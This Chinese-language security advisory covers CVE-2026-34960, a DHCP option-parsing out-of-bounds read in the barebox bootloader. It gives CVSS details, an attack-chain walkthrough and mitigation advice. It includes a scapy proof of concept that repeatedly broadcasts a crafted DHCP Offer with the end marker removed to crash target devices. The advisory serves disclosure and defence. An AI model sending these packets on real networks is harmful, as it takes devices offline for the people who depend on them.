IPBUF安全漏洞报告
English
CVE-2026-34960 CVSS 6.5 中危

CVE-2026-34960: barebox DHCP选项解析越界读取漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-34960
漏洞类型
越界读取
CVSS评分
6.5 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
barebox

相关标签

CVE-2026-34960barebox越界读取拒绝服务DHCPIoT

漏洞概述

barebox在2026.04.0版本之前的DHCP选项解析模块中存在越界读取漏洞。该漏洞源于`dhcp_message_type()`函数未验证options指针是否保持在接收数据包的边界内。处于同一广播域的攻击者可以发送没有正确0xff结束标记的特制DHCP Offer或ACK数据包,导致解析器读取有效数据包之外的数据,从而可能使系统崩溃。

技术细节

该漏洞发生在barebox处理DHCP协议报文的过程中。DHCP协议要求选项字段以0xFF作为结束标记。在受影响版本中,`dhcp_message_type()`函数在遍历解析选项时,缺乏对指针偏移量的严格边界检查。当攻击者发送一个精心构造的恶意DHCP报文(如Offer或ACK),并故意移除末尾的0xFF结束标记时,解析器无法正确终止循环,导致指针越过数据包缓冲区的末尾进行内存读取(Out-of-Bounds Read)。根据CVSS 3.1向量(AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H),攻击者无需认证且无需用户交互,只需处于同一广播网络(邻接网络)即可发起攻击。虽然越界读取主要风险在于导致系统崩溃(拒绝服务,A:H),但在某些架构下也可能导致信息泄露。攻击者利用此漏洞可使目标设备重启或失去响应。

攻击链分析

STEP 1
侦察
攻击者定位目标网络,确认目标设备使用的是存在漏洞的barebox版本,并处于同一广播域。
STEP 2
构造攻击报文
攻击者使用工具构造特制的DHCP Offer或ACK响应包,关键在于移除DHCP选项字段末尾的0xff结束标记。
STEP 3
发送报文
攻击者向网络广播或单播发送该恶意DHCP数据包。
STEP 4
触发漏洞
barebox的DHCP解析器接收到数据包,由于缺少结束标记,解析器继续向后读取超出缓冲区边界的内存数据,触发异常。
STEP 5
影响达成
系统发生崩溃或重启,导致设备不可用(拒绝服务)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import scapy.all as scapy # Construct a crafted DHCP Offer packet without the 0xff end marker # This is a simplified PoC structure; real implementation requires a valid DHCP transaction context def send_malicious_dhcp(target_mac, interface): # Ethernet frame eth = scapy.Ether(dst="ff:ff:ff:ff:ff:ff", src=scapy.get_if_hwaddr(interface)) # IP layer ip = scapy.IP(src="192.168.1.1", dst="255.255.255.255") # UDP layer (BootP server port 67) udp = scapy.UDP(sport=67, dport=68) # BOOTP layer bootp = scapy.BOOTP(op=2, # BOOTREPLY xid=0x12345678, yiaddr="192.168.1.100", siaddr="192.168.1.1", chaddr=target_mac) # DHCP Options: Message Type (Offer), but omitting the 0xff End marker # Normally options end with 0xff. Removing it triggers the OOB read. options = [ ("message-type", "offer"), ("server-id", "192.168.1.1"), ("subnet-mask", "255.255.255.0"), ("lease-time", 86400) # Note: 'end' option (0xff) is intentionally omitted here ] dhcp = scapy.DHCP(options=options) packet = eth / ip / udp / bootp / dhcp print(f"[*] Sending malicious DHCP packet to {target_mac}...") scapy.sendp(packet, iface=interface, loop=1, verbose=0) # Usage: send_malicious_dhcp("00:11:22:33:44:55", "eth0")

影响范围

barebox < 2026.04.0

防御指南

临时缓解措施
如果无法立即升级,建议限制网络访问,仅允许可信的DHCP服务器通信,或配置网络交换机过滤掉非标准DHCP响应包。同时,应监控设备日志是否有异常重启记录。

参考链接